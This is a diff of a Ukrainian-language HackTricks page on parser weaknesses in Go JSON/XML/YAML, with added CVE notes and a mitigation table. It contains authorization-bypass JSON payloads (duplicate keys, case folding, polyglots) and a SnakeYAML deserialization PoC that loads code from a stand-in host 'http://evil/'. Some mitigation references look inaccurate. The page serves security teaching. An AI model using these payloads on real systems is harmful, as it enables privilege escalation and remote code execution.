diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index 8a2e3f2f0..15745e68e 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -6,13 +6,13 @@ Наступні проблеми були виявлені в Go JSON, хоча вони можуть бути присутніми і в інших мовах. Ці проблеми були опубліковані в [**цьому блозі**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). -JSON, XML та YAML парсери Go мають довгий список несумісностей та небезпечних за замовчуванням налаштувань, які можуть бути використані для **обходу аутентифікації**, **ескалації привілеїв** або **екстракції чутливих даних**. +JSON, XML та YAML парсери Go мають довгий список невідповідностей та небезпечних за замовчуванням налаштувань, які можуть бути використані для **обходу аутентифікації**, **ескалації привілеїв** або **екстракції чутливих даних**. ### (Un)Marshaling Unexpected Data Мета полягає в тому, щоб експлуатувати структури, які дозволяють зловмиснику читати/записувати чутливі поля (наприклад, `IsAdmin`, `Password`). -- Приклад структури: +- Example Struct: ```go type User struct { Username string `json:"username,omitempty"` @@ -42,7 +42,7 @@ IsAdmin bool `json:"-,omitempty"` // ❌ wrong ```json {"-": true} ``` -✔️ Правильний спосіб заблокувати поле від (де)маршалінгу: +✔️ Правильний спосіб заблокувати поле від (не)маршалізації: ```go type User struct { IsAdmin bool `json:"-"` @@ -50,21 +50,21 @@ IsAdmin bool `json:"-"` ``` ### Parser Differentials -Мета полягає в обході авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же payload, як у: +Мета полягає в обході авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же корисний навантаження, як у: - CVE-2017-12635: обходження Apache CouchDB через дублікати ключів -- 2022: Zoom 0-click RCE через непослідовність XML парсера +- 2022: Zoom 0-click RCE через несумісність XML парсера - GitLab 2025 обходження SAML через особливості XML **1. Дублікати полів:** -Go's `encoding/json` бере **останнє** поле. +Go's `encoding/json` бере **остання** поле. ```go json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) fmt.Println(req.Action) // AdminAction ``` -Інші парсери (наприклад, Jackson від Java) можуть взяти **перший**. +Інші парсери (наприклад, Java’s Jackson) можуть взяти **перший**. **2. Нечутливість до регістру:** -Go нечутливий до регістру: +Go є нечутливим до регістру: ```go json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) // matches `Action` field @@ -91,7 +91,7 @@ json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ### Плутанина формату даних (Поліглоти) -Мета полягає в експлуатації систем, які змішують формати (JSON/XML/YAML) або не закриваються при помилках парсера, такі як: +Мета полягає в експлуатації систем, які змішують формати (JSON/XML/YAML) або не блокують помилки парсера, такі як: - **CVE-2020-16250**: HashiCorp Vault розпарсив JSON за допомогою XML парсера після того, як STS повернув JSON замість XML. Зловмисник контролює: @@ -108,21 +108,57 @@ XML парсер Go розпарсив його **все одно** і дові "ignored": "Action_3" } ``` -Результат: - **Go JSON** парсер: `Action_2` (нечутливий до регістру + останній виграє) - **YAML** парсер: `Action_1` (чутливий до регістру) - **XML** парсер: парсить `"Action_3"` всередині рядка +--- -### 🔐 Заходи пом'якшення +## Помітні вразливості парсерів (2023-2025) -| Ризик | Виправлення | -|-----------------------------|---------------------------------------| -| Невідомі поля | `decoder.DisallowUnknownFields()` | -| Дублікати полів (JSON) | ❌ Немає виправлення в stdlib | -| Нечутливе співпадіння | ❌ Немає виправлення в stdlib | -| XML сміттєві дані | ❌ Немає виправлення в stdlib | -| YAML: невідомі ключі | `yaml.KnownFields(true)` | +> Наступні публічно експлуатовані проблеми показують, що небезпечний парсинг є проблемою багатьох мов — це не лише проблема Go. +### SnakeYAML десеріалізація RCE (CVE-2022-1471) + +* Впливає на: `org.yaml:snakeyaml` < **2.0** (використовується Spring-Boot, Jenkins тощо). +* Корінна причина: `new Constructor()` десеріалізує **произвольні Java класи**, дозволяючи ланцюги гаджетів, які закінчуються виконанням віддаленого коду. +* Однорядковий PoC (відкриє калькулятор на вразливому хості): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* Виправлення / Пом'якшення: +1. **Оновіть до ≥2.0** (використовує `SafeLoader` за замовчуванням). +2. У старих версіях явно використовуйте `new Yaml(new SafeConstructor())`. + +### libyaml Double-Free (CVE-2024-35325) + +* Впливає на: `libyaml` ≤0.2.5 (C бібліотека, що використовується багатьма мовами). +* Проблема: Виклик `yaml_event_delete()` двічі призводить до подвійного звільнення, яке зловмисники можуть перетворити на DoS або, в деяких сценаріях, експлуатацію купи. +* Статус: Вгору відхилено як “неправильне використання API”, але дистрибутиви Linux випустили виправлену версію **0.2.6**, яка захищає вказівник, обнуляючи його. + +### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) + +* Впливає на: Tencent **RapidJSON** до коміту `8269bc2` (<1.1.0-patch-22). +* Помилка: У `GenericReader::ParseNumber()` неконтрольована арифметика дозволяє зловмисникам створювати величезні числові літерали, які обертаються і пошкоджують купу — в кінцевому підсумку це дозволяє підвищити привілеї, коли отримана граф об'єктів використовується для прийняття рішень про авторизацію. + +--- + +### 🔐 Пом'якшення (Оновлено) + +| Ризик | Виправлення / Рекомендація | +|-------------------------------------|------------------------------------------------------------| +| Невідомі поля (JSON) | `decoder.DisallowUnknownFields()` | +| Дублікати полів (JSON) | ❌ Немає виправлення в stdlib — перевірте за допомогою [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | +| Нечутливе співпадіння (Go) | ❌ Немає виправлення — перевірте теги структур + попередньо канонізуйте вхідні дані | +| XML сміттєві дані / XXE | Використовуйте посилений парсер (`encoding/xml` + `DisallowDTD`) | +| YAML невідомі ключі | `yaml.KnownFields(true)` | +| **Небезпечна десеріалізація YAML** | Використовуйте SafeConstructor / оновіть до SnakeYAML ≥2.0 | +| libyaml ≤0.2.5 подвійне звільнення | Оновіть до **0.2.6** або виправленої версії дистрибутива | +| RapidJSON <виправлений коміт | Скомпілюйте проти останнього RapidJSON (≥липень 2024) | + +## Посилання + +- Baeldung – “Вирішення CVE-2022-1471 з SnakeYAML 2.0” +- Ubuntu Security Tracker – CVE-2024-35325 (libyaml) {{#include ../banners/hacktricks-training.md}}